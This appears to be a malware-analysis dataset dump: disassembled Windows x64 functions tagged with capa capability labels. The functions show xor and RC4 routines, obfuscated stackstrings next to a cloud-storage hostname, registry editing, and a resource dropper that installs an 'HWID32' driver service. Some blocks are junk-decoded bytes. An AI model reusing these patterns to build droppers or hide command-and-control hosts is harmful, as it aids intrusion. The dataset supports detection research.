joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14029e688
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbp, qword [rsp + 0x70]
mov r12, r8
and dword [rsp + 0x50], 0
mov r15d, edx
movsxd rdi, r9d
mov r14, rcx
and dword [rbp], 0
test rcx, rcx
je 0x14029e767
lea eax, [rdi - 1]
mov r9d, reloc.WS2_32.dll_listen
movsxd r8, eax
test eax, eax
js 0x14029e6e9
movsx ecx, byte [r8 + r12]
lea eax, [r9*8]
xor ecx, eax
xor r9d, ecx
sub r8, 1
jns 0x14029e6d1
lea esi, [r9*8]
mov eax, r9d
xor rsi, rdx
xor rsi, rax
and esi, 0x1ff
mov rbx, qword [r14 + rsi*8]
jmp 0x14029e727
cmp dword [rbx + 0xc], r15d
jne 0x14029e723
cmp dword [rbx + 8], edi
jne 0x14029e723
mov rcx, qword [rbx]
mov r8, rdi
mov rdx, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14029e782
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14029e706
lea rdx, [rdi + 0x18]
lea rcx, [rsp + 0x50]
call fcn.14029b18c
mov rbx, rax
test rax, rax
je 0x14029e767
lea rcx, [rax + 0x18]
mov dword [rax + 8], edi
mov r8, rdi
mov qword [rax], rcx
mov rdx, r12
mov dword [rax + 0xc], r15d
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [r14 + rsi*8]
mov qword [rbx + 0x10], rcx
mov qword [r14 + rsi*8], rbx
mov eax, dword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
mov dword [rbp], 1
jmp 0x14029e767

Function at 0x14029ec4c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov r10d, edx
mov r8d, ecx
cmp ecx, 0x80
jge 0x14029ec7e
lea eax, [rcx - 0x41]
add ecx, 0x20
cmp eax, 0x19
cmova ecx, r8d
mov r8d, ecx
jmp 0x14029ed41
cmp r8d, 0x10000
jge 0x14029ed32
xor r9d, r9d
lea rsi, [0x140000000]
mov edi, r9d
or r11d, 0xffffffff
mov ebx, 0xa2
lea eax, [rdi + rbx]
cdq
sub eax, edx
mov edx, r8d
sar eax, 1
movsxd rcx, eax
movzx ecx, word [rsi + rcx*4 + 0x3faab0]
sub edx, ecx
mov ecx, eax
cmovs ecx, r11d
test edx, edx
movsxd r11, ecx
lea ecx, [rax + 1]
cmovs ecx, edi
dec eax
test edx, edx
mov edi, ecx
cmovs ebx, eax
cmp ebx, ecx
jge 0x14029eca1
movzx ecx, word [rsi + r11*4 + 0x3faab0]
movzx eax, byte [rsi + r11*4 + 0x3faab3]
add eax, ecx
cmp r8d, eax
jge 0x14029ed15
movzx eax, byte [rsi + r11*4 + 0x3faab2]
xor ecx, r8d
and ecx, eax
test cl, 1
jne 0x14029ed15
shr rax, 1
movzx eax, word [rsi + rax*2 + 0x3fad40]
add eax, r8d
movzx r8d, ax
test r10d, r10d
je 0x14029ed41
cmp r10d, 2
mov ecx, r8d
sete r9b
mov edx, r9d
call fcn.140266090
mov r8d, eax
jmp 0x14029ed41
lea eax, [rcx - 0x10400]
cmp eax, 0x27
ja 0x14029ed41
add r8d, 0x28
mov rbx, qword [rsp + 0x30]
mov eax, r8d
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1402ce0d4
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
xor ebx, ebx
mov r15, rcx
mov qword [rcx], rbx
mov rbp, r8
mov r12, rdx
lea r13d, [rbx + 0x28]
mov ecx, r13d
call fcn.1402a513c
mov rdi, rax
test rax, rax
jne 0x1402ce11a
lea ebx, [rax + 7]
jmp 0x1402ce1ac
cmp byte [reloc.WS2_32.dll_accept], bl
je 0x1402ce17c
mov rax, qword [0x14041a8d0]
test rax, rax
je 0x1402ce139
mov ecx, 0xc8
call rax
test eax, eax
jne 0x1402ce17c
lea r14, [rdi + 8]
mov qword [rdi + 0x18], rbp
lea rsi, [rdi + 0x10]
mov qword [rsp + 0x28], r14
mov r9, rdi
mov dword [rsp + 0x20], ebx
lea r8, [0x1402b1878]
mov qword [rsi], r12
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
jne 0x1402ce191
mov r8, r13
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
jmp 0x1402ce191
mov r8, r13
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
lea rsi, [rdi + 0x10]
lea r14, [rdi + 8]
cmp qword [rsi], rbx
jne 0x1402ce1a9
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, rbp
mov dword [r14], eax
call r12
mov qword [rdi + 0x20], rax
mov qword [r15], rdi
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1402d9d40
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
movsxd r9, dword [rcx + 0xc]
mov r10, rcx
movsxd rbx, r8d
test r8d, r8d
jle 0x1402d9d8e
mov r11, r9
xor edi, edi
mov al, byte [rdx + rdi]
mov rcx, qword [r10]
xor byte [rcx + r11], al
lea ecx, [r9 + 1]
xor r9d, r9d
lea rax, [r11 + 1]
cmp ecx, dword [r10 + 8]
cmovl r9d, ecx
xor r11d, r11d
inc rdi
cmp ecx, dword [r10 + 8]
cmovl r11, rax
cmp rdi, rbx
jl 0x1402d9d5e
add dword [r10 + 0x10], r8d
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
mov dword [r10 + 0xc], r9d
ret

Function at 0x1402de204
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1402de24e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1402de24e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1402de24e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1402de24e
cmp dword [rcx + 0x84], 0xe
jbe 0x1402de24e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1402de250
xor al, al
add rsp, 0x28
ret

Function at 0x1402e3830
Capabilities:
Resolve dns

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov rbx, r9
mov rsi, rcx
lea rcx, [rbp - 0x28]
call fcn.140061c20
mov rax, qword [rbp - 0x28]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x1402e38b8
mov rdi, qword [rbp - 0x20]
mov r14, qword [rbp - 0x18]
xorps xmm0, xmm0
movaps xmmword [rbp - 0x60], xmm0
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x58], 1
mov qword [rbp - 8], 0
lea r8, [rbp - 0x60]
lea r9, [rbp - 8]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x1402e38ea
call sub.WS2_32.dll_WSAGetLastError
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x1402e38fe
lea rcx, [0x1403a7f48]
mov qword [rsi + 8], rcx
mov qword [rsi], 1
test rax, rax
je 0x1402e391a
mov rcx, qword [rbp - 0x20]
mov edx, 1
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.140055da0
mov rcx, qword [rbx]
mov rax, qword [rbp - 8]
movzx ecx, word [rcx]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
mov byte [rdi], 0
test r14, r14
je 0x1402e391a
mov edx, 1
mov rcx, rdi
call fcn.140055da0
nop
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020640]
call fcn.1400123b8
lea rcx, [0x140021210]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dh, 0xda
invalid
invalid
sbb eax, dword [rbx]
outsb dx, byte [rsi]
insb byte [rdi], dx
or al, 4
movabs r13, 0xebae43bde27e7e90
cmp al, 0x9e
mov ecx, ecx
cmpsb byte [rsi], byte [rdi]
invalid
scasb al, byte [rdi]
jmp 0x14003f6e3
imul eax, edx, 0x58c706e5
wait
mov esp, 0xaa9d93b5
xor bl, byte [rsi]
movabs byte [0xf35680c1bbf45628], al
sub byte [rcx + 0x50], dh
invalid
sub byte [rcx + 0x50], dh
adc eax, 0xa220574d
mov ah, 0x5e
jno 0x14003f66d
cmp rax, 0x73d452b8
push rdi
jae 0x14003f733
lodsd eax, dword [rsi]
insb byte [rdi], dx
and byte [rdi - 0x1a], dh
test eax, 0x2170f8b2
clc
jo 0x14003f707
jnp 0x14003f6d3
xchg eax, eax
mov ah, 0x91
jge case.0x140007272.0
xor eax, ebp
xor al, dl
jrcxz 0x14003f6a4
mov esp, 0x9c81ef91
out dx, eax
invalid
pushfq
pop rcx
jbe 0x14003f775
adc ch, byte [rbp + 0xcf7490a]
push 0x5420ace3
invalid
lodsb al, byte [rsi]
mov ebp, 0x1523064a
imul esi, dword [0x199a3edfa], 0x70
lahf
pop rcx
jo 0x14003f6bf
mov esp, 0xb93c2e80
and bl, r14b
adc r10d, 0x93962ea8
adc eax, 0xf6e5356b
lahf
pop rcx
jo 0x14003f6bf
mov esp, 0xb93c2e80
and bl, r14b
adc r10d, 0x93962ea8
imul ebp, edx, 0x3e197523
jmp 0x1bc7cccd1
scasb al, byte [rdi]
xchg esp, eax
movsb byte [rdi], byte [rsi]
call 0x1839db5b3
out 0xe, al
xchg r14d, eax
pop rdx
fst dword [rax - 0x547cbfa7]
loop 0x14003f7c7
pop rcx
sub dword [rbx + 0x2a807ee2], 0xffffffef
sub byte [rdx], 0xef
movsd dword [rdi], dword [rsi]
pop rbp
or byte [rsp + rdx*2 - 5], dh
jne 0x14003f70d
invalid
or al, dl
jge 0x14003f743
xor al, 0x2a
sub byte [rsi], ch
invalid
xchg ebx, eax
fucomi st(6)
scasb al, byte [rdi]
popfq
xchg esp, eax
sbb al, 0x9c
sub dword [rsi + 0x5bfa6c03], 0xffffffee
mov ah, 0xd0
ret 0xb2e7
Function at 0x140001b30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0x28]
sub rsp, 0x110
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x140016028]
xor rax, rsp
mov qword [rbp], rax
mov rbx, rdx
mov rsi, rcx
call fcn.140001050
mov dword [rbp - 0x20], 0x6e004e
mov dword [rbp - 0x1c], 0x4c007a
mov eax, 0x66
mov word [rbp - 0x18], ax
mov eax, 0x68
mov word [rbp - 0x16], ax
mov eax, 0x63
mov word [rbp - 0x14], ax
mov eax, 0x54
mov word [rbp - 0x12], ax
mov dword [rbp - 0x10], 0x7a0074
mov eax, 0x71
mov dword [rbp - 0xc], 0x710072
mov word [rbp - 8], ax
xor r12d, r12d
mov dword [rbp - 6], 0x67
mov dword [rbp - 0x30], 0x460072
mov eax, 0x4d
mov word [rbp - 0x2c], ax
mov eax, 0x65
mov word [rbp - 0x2a], ax
mov eax, 0x6d
mov word [rbp - 0x28], ax
mov dword [rbp - 0x26], 0x4e004f
mov word [rbp - 0x22], r12w
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], r12
mov word [rsp + 0x20], r12w
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x30]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x20]
call fcn.1400046c0
nop
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], r12
mov word [rsp + 0x58], r12w
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x20]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x58]
call fcn.1400046c0
nop
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x58]
call fcn.1400010e0
nop
mov qword [rbp - 0x68], 0xf
mov qword [rbp - 0x70], r12
mov byte [rbp - 0x80], r12b
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x80]
call fcn.140003fb0
mov edi, 0x1bb
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.140001340
xor r9d, r9d
movzx r8d, di
lea rdx, str.240728ssfdsfdsfdsdffwmm.oss_cn_beijing.aliyuncs.com
mov rcx, rsi
call rax
mov rdi, rax
cmp qword [rbp - 0x40], 0x10
jb 0x140001cd7
mov rcx, qword [rbp - 0x58]
call fcn.1400056bc
mov rax, rdi
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.1400054e0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x140001005
Capabilities:
Create service
Delete service
Start service
Stop service

Disassembly:
jmp 0x140002090
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xa0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x90], rax
lea rcx, str._nOpenSCManager_n
mov rdi, rdx
call fcn.1400030a4
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
call fcn.140001028
test rbx, rbx
je 0x1400021f8
lea rcx, str.CreateService_n
call fcn.1400030a4
xor r11d, r11d
lea r8, str.HWID32_Driver
mov qword [rsp + 0x60], r11
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], r11
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], r11d
lea rdx, str.HWID32
mov r9d, 0x10030
mov rcx, rbx
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rdi, rax
call fcn.140001028
test rdi, rdi
jne 0x14000216c
lea rdx, str.HWID32
mov r8d, 0x10030
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
call fcn.140001028
test rdi, rdi
je 0x1400021e3
lea rcx, str.StartService_n
call fcn.1400030a4
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
call fcn.140001028
lea rcx, str.ControlService_n
call fcn.1400030a4
lea r8, [rsp + 0x70]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
call fcn.140001028
lea rcx, str.DeleteService_n
call fcn.1400030a4
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
call fcn.140001028
lea rcx, str.CloseServiceHandle_1_n
call fcn.1400030a4
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call fcn.140001028
lea rcx, str.CloseServiceHandle_2_n
call fcn.1400030a4
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140002f60
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret

Function at 0x14000100f
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x140001580
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
lea rax, [rsp + 0x30]
mov rsi, rdx
mov rbx, r8
mov dword [rsp + 0x68], r9d
mov rdx, rcx
xor edi, edi
xor r8d, r8d
mov r9d, 0x20019
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1400015da
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
test eax, eax
mov ebx, edi
sete bl
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rsi, qword [rsp + 0x58]
test ebx, ebx
mov rbx, qword [rsp + 0x50]
cmovne edi, dword [rsp + 0x68]
mov eax, edi
add rsp, 0x40
pop rdi
ret
Function at 0x140001032
Capabilities:
Delete registry key

Disassembly:
jmp 0x140001be0
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x50]
mov rbx, rdx
mov rdx, rcx
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x50], 0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140001c29
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
add rsp, 0x30
pop rbx
ret
mov rcx, qword [rsp + 0x50]
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
test eax, eax
je 0x140001c58
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
add rsp, 0x30
pop rbx
ret
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add rsp, 0x30
pop rbx
ret
Function at 0x14000104b
Capabilities:
Delete registry value

Disassembly:
jmp 0x140001c90
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x50]
mov rbx, rdx
mov rdx, rcx
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x50], 0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001ce2
mov rcx, qword [rsp + 0x50]
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x30
pop rbx
ret

Function at 0x14000105f
Capabilities:
Set registry value

Disassembly:
jmp 0x140001b00
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x60
lea rax, [r11 - 0x18]
xor edi, edi
mov rbp, rdx
mov qword [r11 - 0x28], rax
lea rax, [r11 - 0x10]
mov ebx, r9d
mov qword [r11 - 0x30], rax
mov qword [r11 - 0x38], rdi
mov rsi, r8
mov rdx, rcx
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0x20006
mov qword [r11 - 0x10], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x140001b61
xor eax, eax
jmp 0x140001b96
mov rcx, qword [rsp + 0x58]
mov r9d, 3
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
sete dil
mov eax, edi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret

Function at 0x140001580
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x140001580
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
lea rax, [rsp + 0x30]
mov rsi, rdx
mov rbx, r8
mov dword [rsp + 0x68], r9d
mov rdx, rcx
xor edi, edi
xor r8d, r8d
mov r9d, 0x20019
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1400015da
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
test eax, eax
mov ebx, edi
sete bl
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rsi, qword [rsp + 0x58]
test ebx, ebx
mov rbx, qword [rsp + 0x50]
cmovne edi, dword [rsp + 0x68]
mov eax, edi
add rsp, 0x40
pop rdi
ret
Function at 0x140001b00
Capabilities:
Set registry value

Disassembly:
jmp 0x140001b00
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x60
lea rax, [r11 - 0x18]
xor edi, edi
mov rbp, rdx
mov qword [r11 - 0x28], rax
lea rax, [r11 - 0x10]
mov ebx, r9d
mov qword [r11 - 0x30], rax
mov qword [r11 - 0x38], rdi
mov rsi, r8
mov rdx, rcx
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0x20006
mov qword [r11 - 0x10], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x140001b61
xor eax, eax
jmp 0x140001b96
mov rcx, qword [rsp + 0x58]
mov r9d, 3
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
sete dil
mov eax, edi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret

Function at 0x140001be0
Capabilities:
Delete registry key

Disassembly:
jmp 0x140001be0
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x50]
mov rbx, rdx
mov rdx, rcx
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x50], 0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140001c29
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
add rsp, 0x30
pop rbx
ret
mov rcx, qword [rsp + 0x50]
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
test eax, eax
je 0x140001c58
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
add rsp, 0x30
pop rbx
ret
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add rsp, 0x30
pop rbx
ret

Function at 0x140001c90
Capabilities:
Delete registry value

Disassembly:
jmp 0x140001c90
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x50]
mov rbx, rdx
mov rdx, rcx
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x50], 0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001ce2
mov rcx, qword [rsp + 0x50]
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x30
pop rbx
ret
Function at 0x140001f30
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x40
mov rsi, rdx
mov rdx, rcx
mov rcx, qword [0x1400217b0]
lea r8, str.BINRES
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
jne 0x140001f69
xor eax, eax
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop rsi
ret
mov rcx, qword [0x1400217b0]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140001f5c
mov rcx, rax
mov qword [rsp + 0x50], rbp
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, qword [0x1400217b0]
mov rdx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test rbp, rbp
je 0x14000202d
test eax, eax
je 0x14000202d
mov qword [rsp + 0x58], rdi
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 3]
mov edx, 0x40000000
mov rcx, rsi
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001fff
xor eax, eax
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop rsi
ret
lea r9, [rsp + 0x60]
mov r8d, ebx
mov rdx, rbp
mov rcx, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x60], ebx
sete dil
mov eax, edi
jmp 0x140001fea
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x68]
xor eax, eax
add rsp, 0x40
pop rsi
ret
Function at 0x140002090
Capabilities:
Create service
Delete service
Start service
Stop service

Disassembly:
jmp 0x140002090
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xa0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x90], rax
lea rcx, str._nOpenSCManager_n
mov rdi, rdx
call fcn.1400030a4
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
call fcn.140001028
test rbx, rbx
je 0x1400021f8
lea rcx, str.CreateService_n
call fcn.1400030a4
xor r11d, r11d
lea r8, str.HWID32_Driver
mov qword [rsp + 0x60], r11
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], r11
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], r11d
lea rdx, str.HWID32
mov r9d, 0x10030
mov rcx, rbx
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rdi, rax
call fcn.140001028
test rdi, rdi
jne 0x14000216c
lea rdx, str.HWID32
mov r8d, 0x10030
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
call fcn.140001028
test rdi, rdi
je 0x1400021e3
lea rcx, str.StartService_n
call fcn.1400030a4
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
call fcn.140001028
lea rcx, str.ControlService_n
call fcn.1400030a4
lea r8, [rsp + 0x70]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
call fcn.140001028
lea rcx, str.DeleteService_n
call fcn.1400030a4
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
call fcn.140001028
lea rcx, str.CloseServiceHandle_1_n
call fcn.1400030a4
mov rcx, rdi
